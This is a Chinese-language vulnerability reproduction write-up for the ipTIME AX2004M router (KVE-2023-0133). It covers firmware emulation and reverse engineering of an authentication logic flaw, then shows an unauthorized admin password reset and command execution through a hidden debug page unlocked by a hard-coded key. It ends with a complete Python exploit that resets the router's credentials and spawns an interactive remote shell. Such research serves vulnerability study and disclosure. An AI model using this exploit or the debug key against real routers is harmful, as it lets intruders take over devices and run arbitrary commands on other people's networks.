ipTIME AX2004M (KVE-2023-0133)漏洞复现
漏洞概要:未授权远程代码执行
-
由于逻辑错误存在未授权访问漏洞,可以利用该漏洞进行账号密码修改,功能开启,进而进行远程命令执行
-
供应商: ipTIME
-
产品: AX2004M
-
版本: 14.19.0
-
固件链接:https://download.iptime.co.kr/online_upgrade/ax2004m_ml_14_190.bin
一、信息搜集
1.使用binwalk提取固件
binwalk -Me ax2004m_ml_14_190.bin
2.使用file命令查看固件文件信息
可以看出固件文件结构是32位MIPS架构,小端模式
3.使用checksec查看文件保护机制
只开启了NX保护
二、固件模拟
首先我们考虑使用FirmAE模拟固件,然后查看并分析固件运行的进程,如果FirmAE模拟不起来,再考虑分析启动项,并使用qemu模拟。
1.使用FirmAE模拟固件
输入以下命令进行固件模拟:
sudo ./run.sh -d AX2004M ./firmwares/ax2004m_ml_14_190.bin
浏览器访问:
固件模拟成功!
2.查看并分析进程
使用ps
命令查看进程
可以看到,由htppd提供web服务。
3.检查和分析路由器主要文件
通过观察路由器文件系统的顶层结构,以及web服务相关的文件,可以发现许多cgi文件,这些预先编译好的 cgi 文件会通过 HTTP 服务守护进程执行,并且根据路由器设置主页面的 URL(http://192.168.0.1/cgi-bin/timepro.cgi?tmenu=main_frame&smenu=main ) 以及其较大的文件容量,推测核心文件是timepro.cgi,并开始对其进行分析。
查看timepro.cgi文件所在的目录:
结合AI进行分析各cgi功能:
1.认证相关
captcha.cgi (5616 字节):可能用于生成验证码,防止登录页面的自动化攻击。
login.cgi -> /cgibin/login-cgi/login.cgi:登录页面入口,指向子目录中的脚本,负责显示登录界面。
login_handler.cgi (8300 字节):处理登录请求,可能负责验证用户名和密码。
login_session.cgi (12912 字节):管理用户会话,可能生成和验证会话令牌。
2.下载相关
download.cgi, download_easymesh.cgi, download_firewall.cgi, download_portforward.cgi (均为 7840 字节):大小相同,可能是同一功能的变种,用于下载配置文件、日志或特定模块的数据(如防火墙规则或端口转发设置)。
3.核心功能
m.cgi (51608 字节):多个符号链接(如 net_apply.cgi、sys_apply.cgi)指向此脚本,表明它是一个多功能核心脚本,可能处理网络、系统或无线配置的变更。
timepro.cgi (941724 字节):最大的脚本,d.cgi 链接到它,可能涉及高级管理功能。
mesh.cgi (10920 字节):与 Mesh 网络相关,可能与 easymeshd 进程配合,管理无线 Mesh 网络。
4.网络与硬件相关
txbf.cgi (8484 字节) 和 txbf_act.cgi -> /cgibin/txbf.cgi:可能与波束成形(Transmit Beamforming)相关,用于优化无线信号。
upgrade.cgi (13000 字节):处理固件升级,负责上传和应用新的固件文件。
5.符号链接
d.cgi, info.cgi, net_apply.cgi, sys_apply.cgi, wireless_apply.cgi, wol_apply.cgi:分别指向 timepro.cgi 或 m.cgi,表明这些是通用脚本的别名,用于特定功能(如网络应用、无线配置、唤醒局域网设备)。
6.子目录
ddns/ 和 login-cgi/:分别是动态 DNS 和登录相关的子目录,可能包含额外的配置文件或脚本。
三、漏洞分析
未授权访问
根据漏洞作者披露,该路由器固件在验证身份验证时存在逻辑错误,漏洞点在ftext
函数。
1.漏洞点分析
将timepro.cgi
文件导入IDA中进行分析,找到ftext
函数,分析该函数的功能作用,它的主要作用是处理 Web 请求(HTTP 请求),根据用户输入的参数(通过 a2
和 a3
传递)执行不同的操作,例如:
- 检查用户会话和认证。
- 处理特定的 Web 页面请求(如登录、固件状态、调试页面等)。
- 执行系统操作(如保存配置、重置设备)。
- 输出 HTML 或其他响应内容给浏览器。
简单来说,这是一个嵌入式设备 Web 界面的核心处理函数,根据 URL 参数(a2
)和 POST 数据(a3
)决定做什么,并返回相应的结果。
重点看这里:
这段代码主要用于初始化日志和进行会话认证检查,这里的处理逻辑是:
httpcon_check_session_url() == 1
(会话有效)且httpcon_auth(1, 1) == 0
(认证失败),条件成立,return 0 ,无法进行后续操作。httpcon_check_session_url() == 1
(会话有效)且httpcon_auth(1, 1) == 1
(认证成功),条件不成立,可以进行后续操作。
但这里存在一个逻辑错误,如果存在httpcon_check_session_url() == 0
(会话无效)的情况,那无论认证是否成功,都能进行后续操作。
所以,这里可能存在未授权漏洞,接下来要寻找会话无效
是什么情况。
2.寻找会话无效
情况
点进httpcon_check_session_url
函数,发现该函数是个外部引用函数。
使用grep -r "httpcon_check_session_url"
命令寻找该函数存在哪个二进制文件中。
因为是外部应用,所以我们将libsession.so
文件用IDA打开分析,通过搜索字符串httpcon_check_session_url
找到该函数。
这是一个用于检查 HTTP 请求会话的函数。它的主要作用是:
- 检查当前请求的 URL(通过环境变量
REQUEST_URI
获取)是否与会话管理相关。 - 返回一个布尔值(
true
或false
),表示请求是否需要会话检查。
简单来说,这个函数判断“这个请求是不是跟会话管理有关”。如果 URL 是空的,或者以 /sess-bin/
开头,它返回 true
;否则返回 false
。
也就是说,当url里面不是以/sess-bin/
开头,那它就是会话无效
情况。
3.验证漏洞
先正常登录进去,查看一下功能页面,同时打开burp抓包。
我们进入到了这样一个功能界面,接着查看抓包内容:
然后,修改数据包,修改GET请求行将/sess-bin/timepro.cgi?
修改为/cgi/timepro.cgi?
,并将cookie值删掉,同时路由器退出登录,以未授权的情况将这个包重放。
看响应,依然能够请求到内容,说明存在未授权漏洞。
未授权修改账号密码
1.抓取数据包
首先正常进行一遍修改账号密码操作,并抓取数据包:
可以看到,修改账号密码是以会话情况进行,并且需要传递四个有效值:
- captcha_file(验证码路径)
- captcha_code(验证码)
- new_passwd(新密码)
- new_login(新用户名)
那这个验证码那里获取呢?
2.获取验证码路径和验证码
当我们进行修改账户名和密码时,会先访问/sess-bin/captcha.cgi
获取验证码信息:
响应包里就包含验证码路径的关键值j7WGEwMTDc6w49nny3t1tU5nD6jARYdG
3.进行未授权修改账号密码
首先重新向/sess-bin/captcha.cgi
以未授权的形式发包,获取最新的验证码路径值和验证码。
得到captcha_file=6MFn3mmMk04h87p8lrxF9a323cLTS0mI
和captcha_code=slvha
然后路由器退出登录,重新构建修改账号密码的请求数据包,以未授权的形式发送
未授权修改账号密码成功。
通过调试界面进行命令执行
根据漏洞信息披露,该路由器的远程调试功能能够被利用进行命令执行。
1.关于远程调试功能
通过查看路由器功能,发现了一个远程调试的选项
那么问题是,怎么使用这个远程调试功能呢?
2.远程调试功能分析
将这个功能打开,并抓包查看
发现传递了相关的关键字符串remotesupport
,在IDA中搜索该字符串寻找相关代码获取信息。
找到了一个相关函数,分析该函数的功能:
- 生成一个 HTML 表格,显示“远程支持”(remote support)的设置选项。
- 根据当前远程支持的状态(开启或关闭),在表格中显示两个单选按钮(radio button),一个是“开启”(on),一个是“关闭”(off)。
- 单选按钮会根据实际状态自动选中(checked)。
简单来说,这个函数是嵌入式设备 Web 界面的一部分,用来让用户通过浏览器选择是否启用远程支持功能,并把结果显示出来。
其中:
remote_support = get_remote_support();
这句代码的作用是:调用 get_remote_support
函数,获取当前远程支持的状态,存到 remote_support
。
生成web界面的函数调用了 get_remote_support
,那么开启远程调试界面的函数也应该调用了它,所以查看该函数的交叉引用。
对交叉引用的多个函数进行分析,找到了远程调试界面的相关函数show_debug_screen
函数
从名字就可以看出来,就是它了。
这段代码是一个调试界面的实现函数 show_debug_screen
,主要用于:
- 检查权限:通过一些条件(如远程支持和默认密码检查)决定是否进入调试模式。
- 文件读取:根据输入参数读取指定文件内容并输出。
- 命令执行:接受用户输入的命令并执行,然后将结果显示出来。
- HTML页面生成:如果没有直接执行文件读取或命令,会生成一个带有表单的HTML页面,供用户输入文件名和命令。
看密钥或标志检查这一部分:
get_value(a1, key, buffer, size)
:从a1
中获取指定键(如"aaksjdkfj"
)的值,存入缓冲区。- 这里检查了一个特殊的字符串
!@dnjsrurelqjrm*&
,分析代码得知,可能是密钥。
再看命令执行这一部分:
- 读取文件(类似前面逻辑)。
get_value(a1, "cmd", &v20[5], 251)
:获取用户输入的命令,存入v20
。popen(v20, "r")
:执行命令并捕获输出。
通过对代码的分析,推测这个调试界面可以进行命令执行。
当然,这个远程调试功能也可以通过未授权的方式开启的。
3.调出调试界面
根据代码内容分析,构造出相应的url请求地址:
192.168.0.1/cgi/d.cgi?aaksjdkfj=%21%40dnjsrurelqjrm%2A%26 (因为浏览器存在URL编码,这里将密钥也进行一下URL编码)
但是尝试了多次,然而每次都返回主界面,无法进入调试界面,看来这里并不能进行未授权访问。于是采用会话模式访问:
192.168.0.1/sess-bin/d.cgi?aaksjdkfj=%21%40dnjsrurelqjrm%2A%26
尝试多次,依然不行。最后抓包发现,请求数据包没有构造cookie参数和referer参数(因为会话模式需要cookie),也就是说请求包并不完整。
最后,只能通过burp进行发包,我随机找了一个正常的request请求包改造了一下,将GET行替换为GET /sess-bin/d.cgi?aaksjdkfj=%21%40dnjsrurelqjrm%2A%26 HTTP/1.1
,发送该数据包,于是正常访问了调试界面。
(这里的Content-Length
参数必须大于0,否则无法请求页面)
可以看到,调试页面正常返回。
4.命令执行
将响应内容通过浏览器显示,然后进行命令注入
可以看到,命令注入执行成功。
当然,如果想要通过此方法进行命令执行,必须是安全会话模式,还要有cookie值,但是我们前面已经能够通过未授权进行修改账号密码和开启远程调试功能,那我们就可以登录浏览器获取而获得最新cookie值,从而最终实现未授权的命令执行。通过这一系列的操作可以看出来,怀疑是厂商的后门。
四、EXP
1.exp内容
import requests
import io
import argparse
import re
import sys
from bs4 import BeautifulSoup
def parse_args():
p = argparse.ArgumentParser()
p.add_argument('cmd', choices=['reset_password', 'spawn_shell'])
p.add_argument('--host', required=True)
p.add_argument('--port', default=80, type=int)
p.add_argument('--password', default='pwned')
p.add_argument('--id', default='admin')
return p.parse_args()
class Exploit(object):
def __init__(self, args):
self.args = args
@property
def base_url(self):
return 'http://%s:%d' % (self.args.host, self.args.port)
def check_captcha(self):
captcha_url = self.base_url + '/sess-bin/captcha.cgi'
r = requests.get(captcha_url, headers={'referer': self.base_url})
return re.search(r'/captcha/(.*).gif', r.text) is not None
def crack_captcha(self):
try:
# TODO: merge with automatic way for captcha
captcha_url = self.base_url + '/sess-bin/captcha.cgi'
r = requests.get(captcha_url, headers={'referer': self.base_url})
captcha_file = re.search(r'/captcha/(.*).gif', r.text).group(1)
print(f'[*] Solve captcha from {self.base_url}/captcha/{captcha_file}.gif')
captcha_code = input().strip()
assert(len(captcha_code) == 5)
return captcha_file, captcha_code
except AttributeError:
return None, None
def login(self, username, passwd):
captcha_file, captcha_code = self.crack_captcha()
login_cgi = self.base_url + '/sess-bin/login_handler.cgi'
data = {
'username': username,
'passwd': passwd,
'captcha_code': captcha_code,
'captcha_file': captcha_file,
'init_status': 1,
'captcha_on': 1
}
r = requests.post(login_cgi, data=data, headers={'referer': self.base_url})
m = re.search("setCookie\('(.*)'\);", r.text)
return m
class ResetPassword(Exploit):
def reset_passwd(self, captcha_file, captcha_code):
timepro_cgi = self.base_url + '/cgi/timepro.cgi'
data = {
'act': 'save',
'tmenu': 'iframe',
'smenu': 'hiddenloginsetup',
'captcha_file': captcha_file,
'captcha_code': captcha_code,
'new_passwd': self.args.password,
'new_login': self.args.id
}
r = requests.post(timepro_cgi, data=data, headers={'referer': self.base_url})
if not 'GotoLoginPage' in r.text:
print('[-] Failed to reset')
sys.exit(-1)
print(f'[+] Successfully reset password: id={self.args.id}, pw={self.args.password}')
def enable_captcha(self):
for i in range(10):
if self.check_captcha():
return
self.login('aaaa', 'bbbb') # failed login to enable captcha
print('[-] Failed to enable captcha')
sys.exit(1)
def run(self):
self.enable_captcha()
captcha_file, captcha_code = self.crack_captcha()
self.reset_passwd(captcha_file, captcha_code)
class SpawnShell(Exploit):
def __init__(self, args):
self.args = args
def run(self):
self.setup_remote_support()
sess_id = self.login(self.args.id, self.args.password).group(1)
while True:
print('$ ', end="")
cmd = input()
self.spawn_shell(cmd, sess_id)
def setup_remote_support(self):
timepro_cgi = self.base_url + '/cgi/timepro.cgi'
data = 'tmenu=iframe&smenu=sysconf_misc&service=remotesupport&run=&hostnameh=&autosavingh=&beeper=&pwremail=&mgmt_port=&fakednsh=&dhcp_auto_restart_1=&nologinh=&wbmpopuph=&remotesupporth=1&apcplanh=&keepconnh=&ledh=&ledstart=&ledend=&autorebooth=&everyday=&autorebootHour=&autorebootMin=&sun=&mon=&tue=&wed=&thu=&fri=&sat=&restarth=&upnph=&multilang_lang=&server_list=&server_edit=&gmtidx=&summer_flag='
r = requests.post(timepro_cgi, data=data, headers={'referer': self.base_url})
if not 'remotesupport' in r.text:
print('[-] Failed to reset_password')
sys.exit(-1)
print('[+] Successfully enable remotesupport')
def spawn_shell(self, cmd, sess_id):
d_cgi = self.base_url + '/sess-bin/d.cgi'
data = {
'act': 1,
'fname': '',
'cmd': cmd,
'aaksjdkfj': '!@dnjsrurelqjrm*&',
'dapply': ' Show '
}
r = requests.get(d_cgi, params=data,
headers={
'referer': self.base_url,
'Cookie': f'efm_session_id={sess_id}'})
soup = BeautifulSoup(r.text, 'html.parser')
print(soup.find('pre').text)
if __name__ == '__main__':
args = parse_args()
if args.cmd == 'reset_password':
exploit = ResetPassword(args)
exploit.run()
else:
exploit = SpawnShell(args)
exploit.run()
这是漏洞作者公布的exploit内容,其原理也是跟文章复述的过程一样。